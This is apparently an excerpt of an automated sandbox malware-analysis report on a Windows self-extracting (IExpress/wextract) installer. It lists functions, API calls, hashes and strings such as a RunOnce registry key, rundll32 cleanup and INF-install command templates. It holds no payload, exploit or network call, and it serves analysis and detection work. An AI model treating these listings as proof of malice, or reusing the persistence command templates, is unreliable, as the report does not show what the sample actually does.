RegCloseKey.KERNELBASE ref: 00007FF6FD211FE4
LocalFree.KERNEL32 ref: 00007FF6FD211FF3

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF6FD211D72
%s /D:%s, xrefs: 00007FF6FD211F7F
advpack.dll, xrefs: 00007FF6FD211E3E
wextract_cleanup%d, xrefs: 00007FF6FD211DBE
DelNodeRunDLL32, xrefs: 00007FF6FD211E6C
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD211ED2
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF6FD211F94
wextract_cleanup0, xrefs: 00007FF6FD211DCA, 00007FF6FD211DE5, 00007FF6FD211FB8

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery
String ID: %s /D:%s$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 1522771004-2414900631
Opcode ID: 2b53b3767e793faff65087a239a43c24df66161b19351fe183ebef1a3c7f0936
Instruction ID: 2f2507680007d9ccc1481167e5276ce3f86079b58562bc1573bc0a56eb08ee84
Opcode Fuzzy Hash: 2b53b3767e793faff65087a239a43c24df66161b19351fe183ebef1a3c7f0936
Instruction Fuzzy Hash: 0F814E36A18B8296E7118F21E9502B9B7A0FB89B54F449131DA6EC3794FF3EE505C7C0

Function 00007FF6FD2115F4 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 375
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 00007FF6FD2117A6
GetFileAttributesA.KERNEL32 ref: 00007FF6FD2117C0
LocalAlloc.KERNEL32 ref: 00007FF6FD21182F
GetPrivateProfileIntA.KERNEL32 ref: 00007FF6FD21186E
GetPrivateProfileStringA.KERNEL32 ref: 00007FF6FD2118B2
GetShortPathNameA.KERNEL32 ref: 00007FF6FD211965

Part of subcall function 00007FF6FD214F2C: LoadStringA.USER32 ref: 00007FF6FD214FBC
Part of subcall function 00007FF6FD214F2C: MessageBoxA.USER32 ref: 00007FF6FD214FFC

Strings

AdvancedINF, xrefs: 00007FF6FD21189C
setupapi.dll, xrefs: 00007FF6FD211973
Version, xrefs: 00007FF6FD2118A3
.INF, xrefs: 00007FF6FD211788
.BAT, xrefs: 00007FF6FD2119E9
DefaultInstall, xrefs: 00007FF6FD21184C
Command.com /c %s, xrefs: 00007FF6FD211A18
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD21171E
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF6FD211988
Reboot, xrefs: 00007FF6FD21185B
setupx.dll, xrefs: 00007FF6FD21195E

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-981289760
Opcode ID: 04e882688a3d6962a8916aaff69b712f8d647ab79ac1c3b0525099cd5c9803bb
Instruction ID: ec1c081ab1b63e24e6ed517fd5dac6a9cdf440d53cebfa3a7658401d2583b544
Opcode Fuzzy Hash: 04e882688a3d6962a8916aaff69b712f8d647ab79ac1c3b0525099cd5c9803bb
Instruction Fuzzy Hash: 2FF18D62A0878295EB128F24A6402B97BA1EB45794F948235DB6DC37D5FF3EF509C3C0

Function 00007FF6FD2168F0 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

LocalAlloc.KERNEL32 ref: 00007FF6FD21693C
lstrcmpA.KERNEL32 ref: 00007FF6FD2169DB
LocalFree.KERNEL32 ref: 00007FF6FD216A02
LocalFree.KERNEL32 ref: 00007FF6FD2169B9

Part of subcall function 00007FF6FD214F2C: LoadStringA.USER32 ref: 00007FF6FD214FBC
Part of subcall function 00007FF6FD214F2C: MessageBoxA.USER32 ref: 00007FF6FD214FFC

Part of subcall function 00007FF6FD217958: GetLastError.KERNEL32 ref: 00007FF6FD21795C

GetTempPathA.KERNELBASE ref: 00007FF6FD216A8E
GetDriveTypeA.KERNEL32 ref: 00007FF6FD216B2A
GetFileAttributesA.KERNEL32 ref: 00007FF6FD216B47
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF6FD216B9F
MulDiv.KERNEL32 ref: 00007FF6FD216BC2
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6FD216C36
GetFileAttributesA.KERNEL32 ref: 00007FF6FD216C5B
CreateDirectoryA.KERNEL32 ref: 00007FF6FD216C73
SetFileAttributesA.KERNEL32 ref: 00007FF6FD216CA3
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6FD216D0F

Part of subcall function 00007FF6FD217D28: FindResourceA.KERNEL32 ref: 00007FF6FD217D52
Part of subcall function 00007FF6FD217D28: LoadResource.KERNEL32 ref: 00007FF6FD217D69
Part of subcall function 00007FF6FD217D28: DialogBoxIndirectParamA.USER32 ref: 00007FF6FD217D9F
Part of subcall function 00007FF6FD217D28: FreeResource.KERNEL32 ref: 00007FF6FD217DB1

Strings

RUNPROGRAM, xrefs: 00007FF6FD216924, 00007FF6FD216985
<None>, xrefs: 00007FF6FD2169D1
Z, xrefs: 00007FF6FD216B1A
A:\, xrefs: 00007FF6FD216AD9
msdownld.tmp, xrefs: 00007FF6FD216C42
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD216A7B

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-1216675450
Opcode ID: 2795f33d37122c8914f55bb84a2c421aa931674af6ba2d52a3768653f76fb3eb
Instruction ID: 88e94269af15a1ef467c579d22fe24511c0045b1ea398d1216960807da215f92
Opcode Fuzzy Hash: 2795f33d37122c8914f55bb84a2c421aa931674af6ba2d52a3768653f76fb3eb
Instruction Fuzzy Hash: 97D17F22A1868286EB109B2096502BEB7A1FB85745F54C135DB6EC76D4FF3EF905CBC0

Function 00007FF6FD212EDC Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6FD212F30
memset.MSVCRT ref: 00007FF6FD212F44

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

CreateEventA.KERNEL32 ref: 00007FF6FD212F81
SetEvent.KERNEL32 ref: 00007FF6FD212F97
CreateMutexA.KERNEL32 ref: 00007FF6FD21302E
GetLastError.KERNEL32 ref: 00007FF6FD21304A
FindResourceExA.KERNEL32 ref: 00007FF6FD213116
LoadResource.KERNEL32 ref: 00007FF6FD21312D

Part of subcall function 00007FF6FD213D34: GetVersionExA.KERNEL32 ref: 00007FF6FD213D7A

#17.COMCTL32 ref: 00007FF6FD213145
CloseHandle.KERNEL32 ref: 00007FF6FD2130B0

Part of subcall function 00007FF6FD214F2C: LoadStringA.USER32 ref: 00007FF6FD214FBC
Part of subcall function 00007FF6FD214F2C: MessageBoxA.USER32 ref: 00007FF6FD214FFC

Strings

VERCHECK, xrefs: 00007FF6FD21310C
EXTRACTOPT, xrefs: 00007FF6FD212FAE
124, xrefs: 00007FF6FD212F58, 00007FF6FD213060
, xrefs: 00007FF6FD213097
TITLE, xrefs: 00007FF6FD212F5F
INSTANCECHECK, xrefs: 00007FF6FD213008

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $124$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 3100096412-1886169316
Opcode ID: 8239ea3bc8d4f488818524f145e62419a79644bd439c5a8d4d2d204e9e9bee26
Instruction ID: f3c8f2700eb690b1bb6caf369d1914ffc3f71905f425aadc2952a657b0530b38
Opcode Fuzzy Hash: 8239ea3bc8d4f488818524f145e62419a79644bd439c5a8d4d2d204e9e9bee26
Instruction Fuzzy Hash: 6C816A31A0C64386F721AB24AA803B966A1AF96755F50C035DB2DC26D1FF7FF505CAC0

Function 00007FF6FD216F14 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF6FD216F6D
SetCurrentDirectoryA.KERNELBASE ref: 00007FF6FD216F7C

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD216F2A

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CurrentDirectory
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1611563598-1955631000
Opcode ID: 4ad38f15274453923d8ffc4da5624aa26f0d8b3708517ab344ed8549bc082ecb
Instruction ID: 88eaae5adb4678dd5cc5d5e51703c460ce51a54a2f9023d3abdfb8be3547e5a7
Opcode Fuzzy Hash: 4ad38f15274453923d8ffc4da5624aa26f0d8b3708517ab344ed8549bc082ecb
Instruction Fuzzy Hash: 7FA15F36A18742C6E7208F20E5406AABBA1FB89744F548135EB5DC3795FF7EE5058BC0

Function 00007FF6FD215F80 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD215FB0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD215FC1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD215FD0
GetDlgItem.USER32 ref: 00007FF6FD215FFD
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD21600E
GetDlgItem.USER32 ref: 00007FF6FD216026
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD21603A
#20.CABINET ref: 00007FF6FD2160AD
#22.CABINET ref: 00007FF6FD2160F3
#23.CABINET ref: 00007FF6FD216108
FreeResource.KERNEL32 ref: 00007FF6FD216151
SendMessageA.USER32 ref: 00007FF6FD2161B3

Strings

CABINET, xrefs: 00007FF6FD215F8D, 00007FF6FD215FA7
*MEMCAB, xrefs: 00007FF6FD2160E4

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 6bf8904781781a785fe026ead6335db9de58d868f56285484be7c9c0d168fa2d
Instruction ID: b477bbfc3216b3a9b51b339d7d455606c40b207da19b6ef59697ee81a001ff2c
Opcode Fuzzy Hash: 6bf8904781781a785fe026ead6335db9de58d868f56285484be7c9c0d168fa2d
Instruction Fuzzy Hash: 88510835A08A4286EB118B14EA543796AA0FF89749F94C135CA6EC27E5FF7EF044C7C0

Function 00007FF6FD213214 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 152
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF6FD21328F
LoadLibraryA.KERNEL32 ref: 00007FF6FD2132B3
GetProcAddress.KERNEL32 ref: 00007FF6FD2132D1
DecryptFileA.ADVAPI32 ref: 00007FF6FD2132F5
FreeLibrary.KERNEL32 ref: 00007FF6FD2132FE
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6FD21332F

Part of subcall function 00007FF6FD216294: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF6FD21324B), ref: 00007FF6FD2162B9

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD2132EE, 00007FF6FD2133A5
advapi32.dll, xrefs: 00007FF6FD21329B
DecryptFileA, xrefs: 00007FF6FD2132C7

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 3010855178-3095882572
Opcode ID: 3b920b10fcc1ab7df9fbf93181fb0f5156642c947c696f5af8ccee6cfbca0bf9
Instruction ID: bb8705a032b9e86d520701362191582eb6cf93fe5e4c184156b8e122c40aa03c
Opcode Fuzzy Hash: 3b920b10fcc1ab7df9fbf93181fb0f5156642c947c696f5af8ccee6cfbca0bf9
Instruction Fuzzy Hash: BB713871E0C64386FB61AB15AB802B96AA1BF85740F50C035DB7DC22E1FF2EF84586C0

Function 00007FF6FD216710 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF6FD212E07), ref: 00007FF6FD21685B

Part of subcall function 00007FF6FD2165A8: RemoveDirectoryA.KERNELBASE(0000000A,00007FF6FD212E07), ref: 00007FF6FD216643
Part of subcall function 00007FF6FD2165A8: GetFileAttributesA.KERNELBASE ref: 00007FF6FD216652
Part of subcall function 00007FF6FD2165A8: GetTempFileNameA.KERNEL32 ref: 00007FF6FD21667F
Part of subcall function 00007FF6FD2165A8: DeleteFileA.KERNEL32 ref: 00007FF6FD216697
Part of subcall function 00007FF6FD2165A8: CreateDirectoryA.KERNEL32 ref: 00007FF6FD2166A8

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF6FD212E07), ref: 00007FF6FD2167A8
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF6FD212E07), ref: 00007FF6FD2168B4

Strings

i386, xrefs: 00007FF6FD2167E7
mips, xrefs: 00007FF6FD2167DE
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD216754, 00007FF6FD21680B
alpha, xrefs: 00007FF6FD2167D5
ppc, xrefs: 00007FF6FD2167CC

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3881341942
Opcode ID: 9a704cb3954627d09357b10cbec955ccf424cbd9ff52b3ee53e2929f97512051
Instruction ID: 45c7f0575d192ebc61e390072bf037af6212399f8316666a7007c7531f5bfe04
Opcode Fuzzy Hash: 9a704cb3954627d09357b10cbec955ccf424cbd9ff52b3ee53e2929f97512051
Instruction Fuzzy Hash: 53515821A0C68285FB118B25AA103B967A4BF85781F99C135CB6DC26D1FF7FF409C2C0

Function 00007FF6FD214838 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF6FD2148B6
WaitForSingleObject.KERNEL32 ref: 00007FF6FD2148D2
GetExitCodeProcess.KERNELBASE ref: 00007FF6FD2148E8
CloseHandle.KERNEL32 ref: 00007FF6FD214989
CloseHandle.KERNEL32 ref: 00007FF6FD21499A

Strings

, xrefs: 00007FF6FD2148A4

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWait
String ID:
API String ID: 976364251-3916222277
Opcode ID: 67f5a8c114559d55dd8cf19d65e8c653d15ae20e01125bbcfa2d4a6a434563c8
Instruction ID: 08fd24f9cf44ca3329b9772fe4aac3bef2a281e9fd85b7686f6890e0e4476c5f
Opcode Fuzzy Hash: 67f5a8c114559d55dd8cf19d65e8c653d15ae20e01125bbcfa2d4a6a434563c8
Instruction Fuzzy Hash: 94515E3290CA8286E7608B10E654379B7A0FB88759F108135EB6DC26D4FF7DF4458BC0

Function 00007FF6FD212D70 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 85
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF6FD212D85
GetModuleHandleW.KERNEL32 ref: 00007FF6FD212DA2
GetProcAddress.KERNEL32 ref: 00007FF6FD212DBD
ExitWindowsEx.USER32 ref: 00007FF6FD212E92
CloseHandle.KERNEL32 ref: 00007FF6FD212EB1

Strings

Kernel32.dll, xrefs: 00007FF6FD212D9B
@, xrefs: 00007FF6FD212E6B
HeapSetInformation, xrefs: 00007FF6FD212DB3

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: 2f7390ff0c0d46cb9cdc5e9bd2078a34bdbe19e23de9cb8625d4c9295115e43e
Instruction ID: 82d45d8334abff585ffc79961198b7d42e3185ca3cb8ef9bbc4d26a1d54a9bd5
Opcode Fuzzy Hash: 2f7390ff0c0d46cb9cdc5e9bd2078a34bdbe19e23de9cb8625d4c9295115e43e
Instruction Fuzzy Hash: 8B413A35E0864286FB649B61A6422B966A0BF49B44F54C035EB3DC22D5FF7FF445C6C0

Function 00007FF6FD212034 Relevance: 12.1, APIs: 8, Instructions: 121
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE ref: 00007FF6FD2120D6
lstrcmpA.KERNEL32 ref: 00007FF6FD212135
lstrcmpA.KERNEL32 ref: 00007FF6FD212155
SetFileAttributesA.KERNEL32 ref: 00007FF6FD2121AE
DeleteFileA.KERNEL32 ref: 00007FF6FD2121BE
FindNextFileA.KERNELBASE ref: 00007FF6FD2121D2
FindClose.KERNELBASE ref: 00007FF6FD2121E9
RemoveDirectoryA.KERNELBASE ref: 00007FF6FD2121F8

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 91cc5e1a10547be1af5b881470c4a552975bb6d87df7be44110ed190adb22146
Instruction ID: 21615bdc59876c8c341932f6cd9e701a89cdf4395ec4d25bc62c7fa4cf8af79d
Opcode Fuzzy Hash: 91cc5e1a10547be1af5b881470c4a552975bb6d87df7be44110ed190adb22146
Instruction Fuzzy Hash: 93514C62618A8696EB018F20D9442E977A0FB45B84F84C271DB6DC36D5FF3EE509C3C0

Function 00007FF6FD2163DC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF6FD216421
DeleteFileA.KERNELBASE ref: 00007FF6FD216430
LocalFree.KERNEL32 ref: 00007FF6FD216443
LocalFree.KERNEL32 ref: 00007FF6FD216452
SetCurrentDirectoryA.KERNELBASE ref: 00007FF6FD2164EB
RegOpenKeyExA.KERNELBASE ref: 00007FF6FD21653E
RegDeleteValueA.KERNELBASE ref: 00007FF6FD21655A
RegCloseKey.ADVAPI32 ref: 00007FF6FD21656B

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF6FD216530
